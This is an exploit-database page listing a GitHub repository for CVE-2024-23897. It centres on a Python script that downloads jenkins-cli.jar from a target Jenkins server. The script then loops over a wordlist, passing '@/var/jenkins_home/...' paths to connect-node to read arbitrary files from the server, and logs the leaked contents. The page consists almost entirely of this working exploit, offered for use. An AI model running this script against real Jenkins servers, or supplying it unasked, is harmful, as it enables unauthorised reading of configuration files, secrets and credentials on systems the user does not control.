Exploit databaseDownload repository ZIP
GH-e7483232fe78dd9b4d19dec379d59b00
nebian/cve-2024-23897
Sources for CVE-2024-23897
38 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
nebian/cve-2024-23897Revision 984ccd3ac0a1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
scraping.py
Suggested starting filePython · 2,648 bytesimport argparse
import os
import subprocess
import urllib.request
def download_jenkins_cli(jenkins_cli_url, download_path):
if not os.path.exists(download_path):
print("Downloading Jenkins CLI JAR...")
urllib.request.urlretrieve(jenkins_cli_url, download_path)
print("Download complete.")
def execute_command(command, output_file_path):
try:
# Execute the shell command and capture the output
result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True)
# Check if the output contains the specified error string
if "ERROR: No such file" not in result.stderr:
# Save the output to the specified file
with open(output_file_path, 'a') as output_file:
output_file.write(f"Command: {command}\n")
output_file.write(result.stdout)
output_file.write("\n--------------------------------------\n")
return result.returncode
except subprocess.CalledProcessError as e:
# Handle errors
print(f"Error executing command: {e}")
return 1
def main():
# Parse command-line arguments
parser = argparse.ArgumentParser(description="Execute Jenkins CLI command in a loop with different variables.")
parser.add_argument("-u", "--url", help="Jenkins server URL", required=True)
parser.add_argument("-l", "--wordlist", help="Path to the file containing words", required=True)
parser.add_argument("-o", "--output", help="Path to the output file", required=True)
args = parser.parse_args()
# Specify the URL to download Jenkins CLI JAR file
jenkins_cli_url = f"{args.url.rstrip('/')}/jnlpJars/jenkins-cli.jar"
# Specify the local path for the downloaded Jenkins CLI JAR file
jenkins_cli_path = "jenkins-cli.jar"
# Download Jenkins CLI JAR if not present
download_jenkins_cli(jenkins_cli_url, jenkins_cli_path)
# Read words from the file
with open(args.wordlist, 'r') as file:
words = [line.strip() for line in file]
# Execute each command and save the output to the specified file
for i, variable in enumerate(words, start=1):
# Formulate the shell command
command = f"java -jar {jenkins_cli_path} -s {args.url} connect-node \"@/var/jenkins_home/{variable}\""
# Execute the shell command and save the output to the file
result_code = execute_command(command, args.output)
# Display progress
print(f"Progress: {i}/{len(words)} - Executing command for '{variable}'")
print("Execution complete.")
if __name__ == "__main__":
main()